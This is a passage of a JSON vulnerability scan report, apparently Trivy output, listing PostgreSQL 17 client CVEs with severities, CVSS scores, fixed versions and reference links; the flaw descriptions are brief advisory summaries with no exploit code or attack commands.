"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14670.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14670", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14670", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14670/" ], "PublishedDate": "2026-08-13T13:17:44.407Z", "LastModifiedDate": "2026-08-29T23:17:13.697Z" }, { "VulnerabilityID": "CVE-2026-14671", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14671", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:67ff87db2075357befdcc150af72d390614bc9f6c5d1b31c8b9cffb225ca3250", "Title": "postgresql: PostgreSQL: Arbitrary code execution via type confusion in 'refint' module", "Description": "Type confusion in PostgreSQL module \"refint\" allows an object creator to execute arbitrary code as the operating system user running the database. The fix for this emerged as a non-security bug report, and the fix appear in the git repository with subject \"refint: Remove plan cache.\", without a CVE number. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14671", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14671.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14671", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14671", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14671/" ], "PublishedDate": "2026-08-13T13:17:44.53Z", "LastModifiedDate": "2026-08-29T23:17:14.127Z" }, { "VulnerabilityID": "CVE-2026-14677", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14677", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:14a6f695129e96e7fb261d4cb23a3c692958e756bc2bc1e94204ef6993700db1", "Title": "postgresql: pltcl: plperl: PostgreSQL: Arbitrary code execution in 32-bit pltcl and plperl", "Description": "Integer wraparound in PostgreSQL 32-bit builds of pltcl and plperl allows an object creator to cause the server to undersize an allocation and write out-of-bounds via crafted function bodies. This may execute arbitrary code as the operating system user running the database. CVE-2026-6473 had fixed similar problems. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14677", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14677.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14677", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14677", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14677/" ], "PublishedDate": "2026-08-13T13:17:45.027Z", "LastModifiedDate": "2026-08-29T23:17:15.867Z" }, { "VulnerabilityID": "CVE-2026-14679", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14679", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bbaf7ce46f62bdffce7a3b8ba600ab6786a250a33b34344ee632a8e288d72a3d", "Title": "postgresql: PostgreSQL: Stack buffer overflow via OUT parameter count manipulation", "Description": "Stack buffer overflow in PostgreSQL argument name matching allows an object creator to achieve unknown impacts via OUT parameter count. The attack can write only 0x0 and 0x1 bytes. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-121" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 8.2 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14679", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14679.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14679", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14679", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14679/" ], "PublishedDate": "2026-08-13T13:17:45.277Z", "LastModifiedDate": "2026-08-29T23:17:16.747Z" }, { "VulnerabilityID": "CVE-2026-14680", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-14680", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b5417dc28362e7c477f1e39c6e15426b6cb2cbee68b72900c688a948eac17cab", "Title": "postgresql: PostgreSQL: Arbitrary code execution via type confusion with \"internal\" arguments", "Description": "Type confusion with PostgreSQL \"internal\" data type arguments allows any user to execute arbitrary code as the operating system user running the database, via calls to functions with that argument type. Type \"internal\" represents a class of mutually-incompatible data structures not intended for access from SQL. The system intended to prevent such function calls, but this prevention had gaps. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-843" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-14680", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-14680.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-14680", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-14680", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-14680/" ], "PublishedDate": "2026-08-13T13:17:45.4Z", "LastModifiedDate": "2026-08-29T23:17:17.18Z" }, { "VulnerabilityID": "CVE-2026-15741", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-15741", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:82db509dd94d984a6cdc405ec71ff4049d0d3ea87b90d8abec70d9f0c5a232c2", "Title": "postgresql: PostgreSQL: Privilege escalation via SQL injection in EXTRACT() deparse", "Description": "SQL injection in PostgreSQL EXTRACT() deparse allows an object owner to execute arbitrary SQL as a superuser via a hostile object definition. Attacks affect expression deparse consumers broadly, including pg_dump, psql commands like \\sf, and any similar usage in non-core tools. Versions before PostgreSQL 18.6, 17.11, 16.15, 15.19, and 14.24 are affected.", "Severity": "HIGH", "CweIDs": [ "CWE-89" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:69914", "https://access.redhat.com/security/cve/CVE-2026-15741", "https://bugzilla.redhat.com/2515302", "https://bugzilla.redhat.com/2515303", "https://bugzilla.redhat.com/2515306", "https://bugzilla.redhat.com/2515307", "https://bugzilla.redhat.com/2515308", "https://bugzilla.redhat.com/2515311", "https://bugzilla.redhat.com/2515313", "https://bugzilla.redhat.com/2515314", "https://bugzilla.redhat.com/2515316", "https://bugzilla.redhat.com/2515317", "https://bugzilla.redhat.com/2515321", "https://bugzilla.redhat.com/2515322", "https://bugzilla.redhat.com/2515325", "https://bugzilla.redhat.com/2515326", "https://bugzilla.redhat.com/2515328", "https://bugzilla.redhat.com/2515332", "https://bugzilla.redhat.com/show_bug.cgi?id=2515302", "https://bugzilla.redhat.com/show_bug.cgi?id=2515303", "https://bugzilla.redhat.com/show_bug.cgi?id=2515306", "https://bugzilla.redhat.com/show_bug.cgi?id=2515307", "https://bugzilla.redhat.com/show_bug.cgi?id=2515308", "https://bugzilla.redhat.com/show_bug.cgi?id=2515311", "https://bugzilla.redhat.com/show_bug.cgi?id=2515313", "https://bugzilla.redhat.com/show_bug.cgi?id=2515314", "https://bugzilla.redhat.com/show_bug.cgi?id=2515316", "https://bugzilla.redhat.com/show_bug.cgi?id=2515317", "https://bugzilla.redhat.com/show_bug.cgi?id=2515321", "https://bugzilla.redhat.com/show_bug.cgi?id=2515322", "https://bugzilla.redhat.com/show_bug.cgi?id=2515325", "https://bugzilla.redhat.com/show_bug.cgi?id=2515326", "https://bugzilla.redhat.com/show_bug.cgi?id=2515328", "https://bugzilla.redhat.com/show_bug.cgi?id=2515332", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14662", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14664", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14668", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14670", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14671", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14677", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-14680", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-15742", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-16239", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-18408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-19385", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6464", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-6471", "https://errata.almalinux.org/9/ALSA-2026-69914.html", "https://errata.rockylinux.org/RLSA-2026:69914", "https://linux.oracle.com/cve/CVE-2026-15741.html", "https://linux.oracle.com/errata/ELSA-2026-70186.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-15741", "https://ubuntu.com/security/notices/USN-8653-1", "https://www.cve.org/CVERecord?id=CVE-2026-15741", "https://www.postgresql.org/about/news/postgresql-186-1711-1615-1519-1424-and-19-beta-3-released-3365/", "https://www.postgresql.org/support/security/CVE-2026-15741/" ], "PublishedDate": "2026-08-13T13:17:45.957Z", "LastModifiedDate": "2026-08-29T23:17:18.19Z" }, { "VulnerabilityID": "CVE-2026-15742", "VendorIDs": [ "DSA-6438-1" ], "PkgID": "postgresql-client-17@17.10-0+deb13u1", "PkgName": "postgresql-client-17", "PkgIdentifier": { "PURL": "pkg:deb/debian/postgresql-client-17@17.10-0%2Bdeb13u1?arch=amd64\u0026distro=debian-13.6", "UID": "516fded614637d3c" }, "InstalledVersion": "17.10-0+deb13u1", "FixedVersion": "17.11-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-15742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:36a4bd1353c6945d5fa4e9e5baa37b33f64cc62c8154682ff7134ff2104ee7b6", "Title": "postgresql-fuzzystrmatch: PostgreSQL fuzzystrmatch: Arbitrary code execution via integer wraparound", "Description": "Integer wraparound in PostgreSQL fuzzystrmatch allows a user to direct writes to a huge range of addresses, executing arbitrary 